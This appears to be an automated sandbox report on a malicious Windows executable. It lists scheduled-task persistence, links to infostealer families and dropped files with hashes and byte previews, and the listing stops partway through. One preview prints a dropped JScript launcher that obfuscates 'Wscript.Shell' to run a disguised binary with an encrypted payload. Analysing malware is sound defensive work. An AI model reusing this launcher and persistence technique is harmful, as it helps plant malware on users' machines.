Sample name:	QqHWdVqNBs.exe renamed because original name is a hash value
Original Sample Name:	45658cfd5c86375a3f47d821c8c8bfc7.exe
Detection:	MAL
Classification:	mal92.rans.evad.winEXE@28/53@2/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 97 Number of non-executed functions: 298
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: QqHWdVqNBs.exe

Simulations

Behavior and APIs

Time	Type	Description
05:13:38	API Interceptor	1x Sleep call for process: QqHWdVqNBs.exe modified
05:14:26	API Interceptor	2607x Sleep call for process: Origin.pif modified
05:14:36	API Interceptor	990x Sleep call for process: SecureHawk.pif modified
11:13:46	Task Scheduler	Run new task: SecureHawk path: wscript s>//B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\369580\Origin.pif	5daucomrx8.exe	Get hash	malicious	RisePro Stealer	Browse
	be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe	Get hash	malicious	RedLine	Browse
	be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe	Get hash	malicious	RedLine	Browse
	7632e569071acc40bce87af592e4cc2476d9c088906a1.exe	Get hash	malicious	RedLine	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen29.2381.17841.24795.exe	Get hash	malicious	RedLine	Browse
	Autodesk AutoCAD 2023.exe	Get hash	malicious	Vidar	Browse
	oRALyHjeXB.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	oRALyHjeXB.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	5daucomrx8.exe	Get hash	malicious	RisePro Stealer	Browse
	be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe	Get hash	malicious	RedLine	Browse
	be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe	Get hash	malicious	RedLine	Browse
	7632e569071acc40bce87af592e4cc2476d9c088906a1.exe	Get hash	malicious	RedLine	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen29.2381.17841.24795.exe	Get hash	malicious	RedLine	Browse
	Autodesk AutoCAD 2023.exe	Get hash	malicious	Vidar	Browse
	oRALyHjeXB.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	oRALyHjeXB.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	188
Entropy (8bit):	4.841163940664851
Encrypted:	false
SSDEEP:	3:RiMIpGXJO9obdPHo55wWAX+d4a+kEkD5pM6iQEdcQ47c6Hc5uWAX+d4a+kEkD5p5:RiJuOybJHonwWD+vkD3Vi7L4A6HcwWDb
MD5:	F04512C216810D6E6D57DF679D16A4EB
SHA1:	FDEBC2A42CFD84710783EC1054DF14977028E273
SHA-256:	AD2D6B4FEA58057866439C8BEC60E91EAE779ED47D20FD55992D54540CC9BCFD
SHA-512:	767B37AE36E40A699D83E4FD9A67FB59ABFFE84DF033FBC1B75B4D8279E5BFEC8584E0ACF1F69F6682D95E41F6223EB1AC9735EC4693B4BFDDF36924B6BCF4A2
Malicious:	true
Preview:	new ActiveXObject("Wscript.Sh" + "ell").Exec("\"C:\\Users\\user\\AppData\\Local\\LinkGuard Dynamics\\SecureHawk.pif\" \"C:\\Users\\user\\AppData\\Local\\LinkGuard Dynamics\\r\"")

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	937776
Entropy (8bit):	6.777413141364669
Encrypted:	false
SSDEEP:	12288:FJV3REMvnCG22lhtjVoAYxQl+u13a/sVyaVeK56ORMkkOlPlNKlga4Umff2lRO:F3hEW3hlVodGl+gUKrMkzXa4P6RO
MD5:	B06E67F9767E5023892D9698703AD098
SHA1:	ACC07666F4C1D4461D3E1C263CF6A194A8DD1544
SHA-256:	8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
SHA-512:	7972C78ACEBDD86C57D879C12CB407120155A24A52FDA23DDB7D9E181DD59DAC1EB74F327817ADBC364D37C8DC704F8236F3539B4D3EE5A022814924A1616943
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5daucomrx8.exe, Detection: malicious, Browse Filename: be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe, Detection: malicious, Browse Filename: be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe, Detection: malicious, Browse Filename: 7632e569071acc40bce87af592e4cc2476d9c088906a1.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.2381.17841.24795.exe, Detection: malicious, Browse Filename: Autodesk AutoCAD 2023.exe, Detection: malicious, Browse Filename: oRALyHjeXB.exe, Detection: malicious, Browse Filename: oRALyHjeXB.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\LinkGuard Dynamics\r

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	data
Category:	dropped
Size (bytes):	1887862
Entropy (8bit):	7.999916955507098
Encrypted:	true
SSDEEP:	49152:eh1tn99JwLCa3od7rs8p0b4UC0OmHmEp7w21fKR3vBWu5Vo:Ktn9fA3od0+Dx0Z3j1yR75Vo
MD5:	CE540AF01EBE7AB061B8E799882D8031
SHA1:	67A6C762AA5E1CB1C3623561D2A3D6AD98F150AF
SHA-256:	15657816E7B9C8F5F8E3A73E2266186DDE03AFD3E680E20D6E14747446973684
SHA-512:	06F83915FEA36F523E99A56D5C71404AC4E4062AE690404A89262BE2D26968BDDC5A42AE091CDEC4CE568541B877E59DF71F92369566B228C3EDFE510A6BBC9F
Malicious:	true
Preview:	.p......C7...._9....8..5M...h..T..F..(..cd.:.#K85)]$."...r....4.j...<9...~..)qi.>...e..............O...D.H..?.....DS.&..l.H.....J.N.."...&l&.H.X.D.\....NJ...LS..^.M.1...%".~.\|.Z.)T.t~...C.t.....H.....P...Rt..%.#..h....`B...................s..z.+...'...D.....m.............[..::...._....&..t....6..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....C.<.'.F...h.............T......{T......{kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..}.!..,P..Myn.2..t.W.....L..f.P...T......{T......{m.....:c..8.5...x..2).U.j....2>.$#.~....E.....$h...}......H..l.{F...3G......`w.r.3.mq...K.R.......m%_^W...H.... .(.....6.F.\|m#n...N:Ta.....<..)....... .^e.z...X b.^.....3g..+...4A...?.O.Q

C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	937776
Entropy (8bit):	6.777413141364669
Encrypted:	false
SSDEEP:	12288:FJV3REMvnCG22lhtjVoAYxQl+u13a/sVyaVeK56ORMkkOlPlNKlga4Umff2lRO:F3hEW3hlVodGl+gUKrMkzXa4P6RO
MD5:	B06E67F9767E5023892D9698703AD098
SHA1:	ACC07666F4C1D4461D3E1C263CF6A194A8DD1544
SHA-256:	8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
SHA-512:	7972C78ACEBDD86C57D879C12CB407120155A24A52FDA23DDB7D9E181DD59DAC1EB74F327817ADBC364D37C8DC704F8236F3539B4D3EE5A022814924A1616943
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5daucomrx8.exe, Detection: malicious, Browse Filename: be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe, Detection: malicious, Browse Filename: be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe, Detection: malicious, Browse Filename: 7632e569071acc40bce87af592e4cc2476d9c088906a1.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.2381.17841.24795.exe, Detection: malicious, Browse Filename: Autodesk AutoCAD 2023.exe, Detection: malicious, Browse Filename: oRALyHjeXB.exe, Detection: malicious, Browse Filename: oRALyHjeXB.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\369580\Z

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	1887862
Entropy (8bit):	7.999916955507098
Encrypted:	true
SSDEEP:	49152:eh1tn99JwLCa3od7rs8p0b4UC0OmHmEp7w21fKR3vBWu5Vo:Ktn9fA3od0+Dx0Z3j1yR75Vo
MD5:	CE540AF01EBE7AB061B8E799882D8031
SHA1:	67A6C762AA5E1CB1C3623561D2A3D6AD98F150AF
SHA-256:	15657816E7B9C8F5F8E3A73E2266186DDE03AFD3E680E20D6E14747446973684
SHA-512:	06F83915FEA36F523E99A56D5C71404AC4E4062AE690404A89262BE2D26968BDDC5A42AE091CDEC4CE568541B877E59DF71F92369566B228C3EDFE510A6BBC9F
Malicious:	true
Preview:	.p......C7...._9....8..5M...h..T..F..(..cd.:.#K85)]$."...r....4.j...<9...~..)qi.>...e..............O...D.H..?.....DS.&..l.H.....J.N.."...&l&.H.X.D.\....NJ...LS..^.M.1...%".~.\|.Z.)T.t~...C.t.....H.....P...Rt..%.#..h....`B...................s..z.+...'...D.....m.............[..::...._....&..t....6..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....C.<.'.F...h.............T......{T......{kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..}.!..,P..Myn.2..t.W.....L..f.P...T......{T......{m.....:c..8.5...x..2).U.j....2>.$#.~....E.....$h...}......H..l.{F...3G......`w.r.3.mq...K.R.......m%_^W...H.... .(.....6.F.\|m#n...N:Ta.....<..)....... .^e.z...X b.^.....3g..+...4A...?.O.Q

C:\Users\user\AppData\Local\Temp\Alot

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	6.347014053077155
Encrypted:	false
SSDEEP:	192:RULsNQ6UUrUM6M1spD4QoHfqwipOcS0BiPyI+mHV8Fmepp2JaDwb7H:RUIi6J89nOrHV8Eepte7H
MD5:	E7AB122EBABDAE8843EEDA7A57C7F29A
SHA1:	0083D949CE43F5B549F06395BA4658461CF2A345
SHA-256:	EE31F3476D9C7A824EF34A4E639E02F793436E5608483F43D5FBDD3FBCB22C04
SHA-512:	614EE05987918709B61718D25305970A5FFBED46B1C88802EF9416F98C9469B795D2A917D3873F331A07C9985565119FFAB80821FE4134C03DA197BFDBEE89C8
Malicious:	false
Preview:	.j....Yf9H..K....~......8.u.E...f9P........M.C..D..f9P..U........E........ .................-~..H...}..H...}..H..u}...U.H.E.........}...E..M..E..u.PF..6...E..M..U......A.j.Yf9H...{~...M.IN.}...M........M...6...M.....6...M.....,~..;...$~...E..8...,....E.E..u...\|...PF.5..3........!..I....A.j.Yf9H....~...M....}.....].C.]......}...u.E..u..u..u.P.E.P.E.PV.......&........A.j.Yf9H....}...E.HN..\|.....E.........\|....:5....\|......;5...E..x.;.......Wju.s}...8..."}...8........8....}...8..U...L....8!...\|...8#........\|...u.3..u..u..u.QPRS......x....M...4...M...4...M...4...M...4...M...4....\|.....4...M...4...._^[..].....x\|..H..,\|...M.....E..U.j.[...........A.j.Yf9H....\|...}........Wjt.\|...A.j.Yf9H...k\|...E.M......E..M......U.E..M.j.[....k.......c.......Y.....\|...U.JN.}...U.ts.M...3...M.....3...U..x.;.......Wh......{...A.j.Yf9H....{...E.HN.}...E.t..M..\|3...M....3...E...x.;.......Wjx.{...^..^...^..E....^..........@..GD.^.@.n.@.A.@...@...@...@...@.O.@.p.@.........U.......SVW

C:\Users\user\AppData\Local\Temp\Bdsm

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	134774
Entropy (8bit):	7.998618153684933
Encrypted:	true
SSDEEP:	3072:kQuFArbnYPs0H3CV0ZZd1v8M1P+8rLpNCoqn:kQuFUbnBjVWhvP+8rDin
MD5:	C7E15E6E38E166594B2C9C2A60945065
SHA1:	B0F80F15FE6AE9AEDB5A9BBE0D3C01D8867E2FBC
SHA-256:	6AFE68081A9F723647DAC3276C79B46EA0577D4B3DEE7673438DB1D95989E95B
SHA-512:	917CE2DA529CC9FA1CA9A9C9AB0685016C1EB6BEDC658138DA076A0A4028B7B7BD915169E497F7C01AA2012A4175D2E71FC78A93950B64C57C5CC36F85279475
Malicious:	true
Preview:	-..q..K...^....%[..d..b..c..J.....dy.Kj....m.h..Q.1..5......A.z..^../eR'.ps...f.....D`.h..0.."!{5......>.,..h.9;.SU.F.o.OV...tIa..)eOc..Yw.V....I.....#.6 ...u>..{.Hnqc.w..M`..\|...... .5..`.x4..Nk.......C...mD...^.J/.../p...~......+..O..2."..14....A;...\|.r...<..`z..[..}....Kk!......M...q...9)........0O>x...~.....WfV...`...=...i.2.O......Y.W.w.&.....%.)Ju....(.5...f.k..x...iw......{...d...\..-.m.7....{._..o..............V.gy...S.0...o5y"-..h23:.s...XZs...n\|Z.EV.k..0...m....\z......-.y.L...../.N?..Sq.B../....{..]....A.].V.%...]r... D...J..Q..:....h..=N2=.!.J...-..g.O2..x.F....@h.p.`..c...v.5.^.\|:.3..(.=.e..o...B...u..H\.a.{8F.....0..5..4...#.-\x..Qe..q.L...m.......q...k.......4.r..q.j.....x...U..N.%...W..(.A5OM.t.EfEL.m<$NU."......52.W>H..b....t%2q.Ex.d.........QNe..Z\&..Q...XO..\.`.3E.....L.....*.w..];..L.g..W...B..[....W..X.P8....S.&>/..L..cV.3.M..>.w.W.....\|..D...\....09....?2........^..g..#....NU/N.o..Lf@.3..`.......ah...."..?..:..

C:\Users\user\AppData\Local\Temp\Beginning

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	11884
Entropy (8bit):	7.30812932734099
Encrypted:	false
SSDEEP:	192:D1SXWsR2tlitnzx98QVQ/8tVkUTgBxe1HCjv4pdhhmGj7l0ieJ2Q:DopEitriaIKJ7775i
MD5:	0FBD02AFE1832C658A9087680614B367
SHA1:	C3C30D9184A9AFBA434FE35679AB2D268139CEF3
SHA-256:	D68E51F51EC32BBD131A65995DBC0387216B206DFAC652EC28A30D78D787ADA8
SHA-512:	AB0BD0B5249AB9BCBAA3D914488AE601F93EB10E45407EE2D4A01777884EBC14BF978147134640148A7BB9642965DF1F00A9F794A3CA73214DD4D51548E089C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.5.6>6g6.6.6.6.7C7N7t7.7.7.7.8a8q8.8.8.8!9I9q9.9.;.<.<.<"<&<<.<2<6<:<><B<F<J<N<R<x<.<.<.<.<R=.=]>y>.>.>e?......p....1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2"2(2D2.2.2.2.2.2.2.284.5g5.7.7.7.7.7.7.7.7.8.8.8.9W>j>t>.>.?!?V?.?....H....0.0.0.2.2.2.2.2.3.3W4.5c5.5.6.8.:.:.:.:2;.<U=.=.=.=.>/?^?.?.?......X...31.2y2.2L3j3.3.4,4.4'5f5l5.5[6.6'7J7s7.7.8.8.949u9.:z:.;`;.;F<}=.=.=3>X>.>.>c?.?....`...g0.0.0)1v1.1.2.2212[2.2.2.2.2.2.3.3(393J3[3l3.3%4B4.4.4.4.4.5.5.6.6.67.8.8.8.8.9.;.;.>. ..(...h1.1.2.3&5.626A7v7.:X>.>.>.>.?.?.0......g0r0.0.0.0.1#3.3.3.3.3.4#4(4?5E5N5m5.5.5.5.5.6.6.6.6.6.9/:>:S:r:.:.:.:.:.:.;.;P;};.;.;.<@<t<.<.<.<.<.<.=/=f=.=.=.=v>.?...@..p...11.1v2{2.2.2.2.363@3h3.3.3.3.4#4c4.4.4.7+808\8v8.8.8.8'9W9.9.9.9&:Q:X;x;.;.;.=.=.=O>{>.>.>.>.>0?w?.?.?.?.P..L....0S1.1.2.3.3U3)4.4E7U7.7.7.7.7.8^8.8.9.9.:.<9<a<.<.</=m=u=.=.=.=.=4>.`......l0.0.0.1.1.1.1W3.3.5.5.5.556F6.6.6.6.6.6.7'7C7Q7_7u7.7.7.7.7.78D8W8t8.8.9$9f9.9.9.:!:.:.:.:.;B;];.;.;.;.;.<+<.<.<.<t=.=.=.=.>1>:>.>.?B?H?.?.?...p......<0`0z0.0

C:\Users\user\AppData\Local\Temp\Buck

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	6.785206989556843
Encrypted:	false
SSDEEP:	1536:/27MlRHq6EQU7uLQT6unj5ctpYuYtWGJG2kQi:e7MlRKecTF5c2p02kQi
MD5:	D4F1427F4E333A46E2B9399B3A386ACE
SHA1:	8ABBA4EC1B6DD2BAB5A6702BE3EB0FF3BE18EBFD
SHA-256:	21D0FF8C6969D0D4917B4536726EEF4406A3B41321AF3657A1AA3C31F74C79B4
SHA-512:	D561321878FE7C0440F0C9F54C0BEF073152A167EEDB8B536756A40F2AEA6B988BFACB6AA0E346E2D8C2A7324DDCD16BF70FF4E97FD255C7311527904EAB2D70
Malicious:	false
Preview:	...............t3.p...t,.........t..+................3.......}....5..K.V.O..Y.k.....p..............e..Y.....g..K.....itd..nt%..o..=..............y[.............M..............x.................. t.f................z.....@.....................u........................3........u...guV..........J;.~.........=....~7..]...W.k...............Y..t............................................G.............P...............P............VP.5<.K...8.I............t!.......u.......PV.5H.K...8.I...YY......gu...u.......PV.5D.K...8.I...YY.>-..(.........F....................j.....s......HH...........k...j'.........X..........\|....Q.....0................^......3......... t...@t...G.....G.....@t..G........O.....@t.;...\|.;.s........................u...........y.3.B................;.~......u........u..J..............t=.......RPWQ.....0................9~...............N.............E.+.F............t6..t..>0t-N........0.!..u..5..K.....I.8.t.@..u.+.....................@t5......t......-

C:\Users\user\AppData\Local\Temp\Chad

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	6.565667666829138
Encrypted:	false
SSDEEP:	192:Fsmnze84mcy29iFnyq7S6XgRZi3LdB1gPOf0WcKPVo1FNVvmQ23:FsmC84Ll9iRrNXxdB1gv4PSTNVvmQ8
MD5:	827E7D95831EA2B7AE99AFB191C98832
SHA1:	E0432635061534BC2B5C06A8B7D5D7EDAF983183
SHA-256:	BDD60D53935978F3ADF4DC5AEFAF8156360F0C680E387A91AF7C4E1FC8AFDD25
SHA-512:	23FFC2964E7F14F783BAC607A733D1015C1592A32121CD52CBFDD7A4F839234393B8CDF175EAC0E219F14AF0B1F2F5A1838F2889878BE9B91D3FCF6D4E8F4B96
Malicious:	false
Preview:	u.W....Y.p.S3.PPPPVWPP....I....t$;.}.V..S."...Y3.E.QQSPVWQQ....I..E.[_^..].SW3...PPj.SPh........I.....t-V3.j.Z.........Q....YW..Vj.Sj.h........I...^_[.U..E.Ht.Hu=.u..prL..u..u..$.=.rL..t$.}..t..u...rL..u..u..P.............2.]...U..Q.e...=.rL..t!.E...rL.P.u.........k.....t.......E..prL.P.u..Q..........]...U....S..M.V3.W.s..s..A..u..C...t....A..C..A..C..9.;........3..j Z.........3...........P...Y..t!.8...O.E.x......i..... Oy.E.3.....C.93~H..u..E..s...x....N......G..F..G..F..G.P.....G..M..F... .E.@.M..E.;.\|._^..[..]...V..N........^........U..V..N......~'H.....o...j.X3.F.j.Z.........Q....Y....f.E..F.....f..3..f.H...^]...Vh.^F..q..6j Q.^...V.(...Y..^...U..M...u.3..%.E.V.u..;.}.....t.+........t.+...^]...U....SV..M.W.....u..u.....I....`...3.].9].u.3.G.........W.M.."...f9.t.W.M.G.....j;Yf9.u.....}..v..G.P.M......j;Yf9.t.....3.j Z...........3...........P....Y..t!.....K.E...x......... Ky.E.3...3..M....F..E.P.E..].P.E.].P.E..E.....P.E.P.E.PS._.......uF.E..}.

C:\Users\user\AppData\Local\Temp\Consecutive

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	5.316829091033339
Encrypted:	false
SSDEEP:	768:DI4kSmEusWjcdeDvFQC7VkrHpluuxdCvEHKKgI0:vusWjcdmQuklluhvEHKT
MD5:	5CBB6AC4AFB2BDF6988C7581A9E19D46
SHA1:	CE87849C6CAD83A7A145283F233BF02D72358BF3
SHA-256:	A3D48BCB65A8B7651FBAB2C36260E25487929495CCA8A9B98EF26AF3DE802517
SHA-512:	0F1435F9961DD7929016598F9B115210F609A263F4CDB6A08AC5BDAF9357DEBC9CD926F711BE03463AB250D6C0FB5BF6784A5017602645560875EDD98B89FF91
Malicious:	false
Preview:	.j.?=...Mpm........?c..+...?................Bp.VV..?........Q9V.%..?........]\|.=3..?......?\|.._P..?.%.....?..Zq\.? ,6....?.5DKB.?.@IK...?.Xf...?v......?..'....?+..3...?2...y..?g.../.p<.......?7C.....?.......................?........E.D;..?..........h7.r.?...=...?.(...r.?..EV.w.?......?.......?0.SM`..?...?3..?./..2.?5.6Y.z.?......?..G.e.?.4.....?.%..KV.........?..r..H.?.................I,+...?..........U&X>.?..........i....?.c4...?.......?.......?..N..T.?..j8.6.?.f"!..?~w."...?nJ.R...?1...7!.?\|.GD.\|.?.......?....a.?.}. ..<.......?.pA..?................ZM..$^.@........].>.=..@........Z..7.@.abK...?..Z...@...t...?..,....@.T..4s.?.a.g...@Xp.M...@.D.$_..@.n}in..@..).M..@......@P(..C.?. ...mz........@.E3.&..................fY.eY.!@..........,..d&@........#7.B.,@.......@=..U.&2@UUUUUU.@9.E4..7@.......@.}..=m=@.......@. 8..B@.[..[..@.u+E6.G@.......@.......?...............@.........................HO..3.........oX... ?..........%......#.Z..."S-...>Q..!.r.?.M%....;..

C:\Users\user\AppData\Local\Temp\Convenience

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	7.9957365930290685
Encrypted:	true
SSDEEP:	768:qWPn6K+BXIxpEno35N+hHrpQcJ+nPnZVJSRMueLPwYtebtefV:oxBKEo35MHrJ2HJEeL4YteboV
MD5:	B0F0B5535514047C83C7B2FA25324DCC
SHA1:	A010BF77C2684BF4D567243A8A1DCBD0AC07A734
SHA-256:	5754A22B9CCA09B0E018139D55BC32FC3206E399D416DB20F7207AA9F5A38425
SHA-512:	14EEA51CDC1E07399A9A2D599CF6057362852EDA34D5D2DA82C84E66B37D324E6875A1A43C3B0F93077B9A76A6BAE05C77679CE2495EABCB50341ECDD3D0CB8A
Malicious:	true
Preview:	...l..W.7MaZ&.Wf%.].......I.F.....m.....j...>....6..x....~.dV......,`...hWGA..r..T.5.9.3.m.^Q..:.o.H..r.1...^..V.og.u9.{w.PL4;.Y........... H.+EM\|.].H.o.Fv.V~8.PG.n"..Ng..d...!..Dc.C,%d.-....1.....'.i..?8..w..C:..G.X.I.....( .$...d.0...M..w2-+...`...U.x.)..-)..x...p...Z.....[.L.fU)..Tp./..7I.A.-./AH.r.+...J....M...."?D..6...l.M(.O......J...#\|'ZN.>..&._1..?...J.......?..3..ss3.}...h.!...j..-~i.L.Q+l..};.K6.}G+...Q..of\.)......V...."...>^....t.JB..5v.J..,=..+......F.8%.b...s..X)W......1.O..X._ez.{../%a..\...u..RI@[ .....&......c...K.......f._(K..pA..p.l!..~.#,d..a&EP;....B......F.7F.M....ix........)NL....8./Z......K&.......9.#(Yc.HG..u...$I.w.B.N.H.!U.....eo..9.9.#8...t.t_.{.&v...8..L.......E../.....O......%t..Y'..4[.....D.......D.......#Q.`K~...&..[.3...UU9X.;6k........0.Z.EK.E.R-....$/..y.....k.5.\@..&.......p..g5).+.V.jy}z...+..O.D.H.d#...sQ....q.^...[w^.p.W.+...hX...c...j.}..2......z...s..4..y=G.r.......sG*0.R.Q........<....+.c.Q.

C:\Users\user\AppData\Local\Temp\Creator

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	7.9428180907324295
Encrypted:	false
SSDEEP:	768:qNcNngX+F+2tzjOrnhILBWdinOEgg+ys6kQ3+laXM77HLqno09q6R6gx+gXr:qNcpzjIqIinTglynkQ3+EX0eomqewg
MD5:	24DD5D66C756FA9137D34729169A7940
SHA1:	1E3446FEBCB5280185648C3B763B709A10D0A3CF
SHA-256:	564193BF3415F803065F54113098012C86B9904A7D09DAD7C004658858248C48
SHA-512:	12D6721155D381BEA89B03CC3446357195BF3863AEBD07A3C2C5863160449A7C0E8EB0588071064E3D80A665E9E3460266FC45EC0BF09136B51440CE524DD2C0
Malicious:	false
Preview:	.H$......K..bb.`&.!<t....\|..6l.T.:.?.Z.......,p,...i.K......Zk..%...kx....78..wcvv.V.N.o..._.(B.#..{.........^.$u6..Y..o......F<...C. ......"f.h{.\.3)....c.FZ..x< ..k.m/M.:.)...Q..."(m4@e....r..F..lv..-..../..(.l5.....>.H......[.r%..Fl..4.O`I.K..l..L..F..r..q..b).3E.&..X$2I.&C........n......b.Y....i\..c.......">....#...../}.K.....j.D..2+...7-.v..Nv.X..M..""4.M.9r.[.n...p..?.coM.......A....\4.....hS. .~....]k...Y.m....Q.J..b../~.X5.b..n..g...k..%~.H..B..c..q,.....".C......_`X..9..@..I.f..A....3.].m.a..>?......:.........P...PG..]..e....&.i.\|.n..ah..7..4;..L./.....G..."...-.....<..2..v(&W..d....#Ph........BG)..a..:J!.....R..stH..B....T.........O=.....Q..l4......v0D...Mt~.{.H....\|..:..;w...>.G..E..bj.(~...j.d.Y...FFFL......Ix..~.....ih..P...Zi..(.....P..).xw6...;m.K%d.Y.v.8..s.f..X........Cj...pp.C.:x..]Q.Z.(.p....._..7&..A.#<..0.0..:C...@..d...x.bkzI.,...@.......x..l.^.c\|\|..v{.....j..'&&x.I.X.5).z....J...7U..........f$0J......L..xq..#.}..E3.

C:\Users\user\AppData\Local\Temp\Cruises

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.542041223780247
Encrypted:	false
SSDEEP:	768:sgckS9cAXKOd+3Avgmy/bJCVKSb279sAOOWNu:s/tcATs3AS/4KS+9sAOa
MD5:	E599A7F1BA05A669849EE5C4D2657057
SHA1:	84176DEDF0F3886EB8AB41846A4FF5334CFF844D
SHA-256:	5224518DDE347FD8DB57CAA13D4B502859BCF911D40D90291A67B4E9942D59FD
SHA-512:	C25657D8F4389D76CE3974D869A26EB221F24A2E9C1AFAA1E44546C7053757D7D3B03976CBA9B2714E2D292BDCEBAFC5690E0662C0A1F4B018EDD49EC36C739F
Malicious:	false
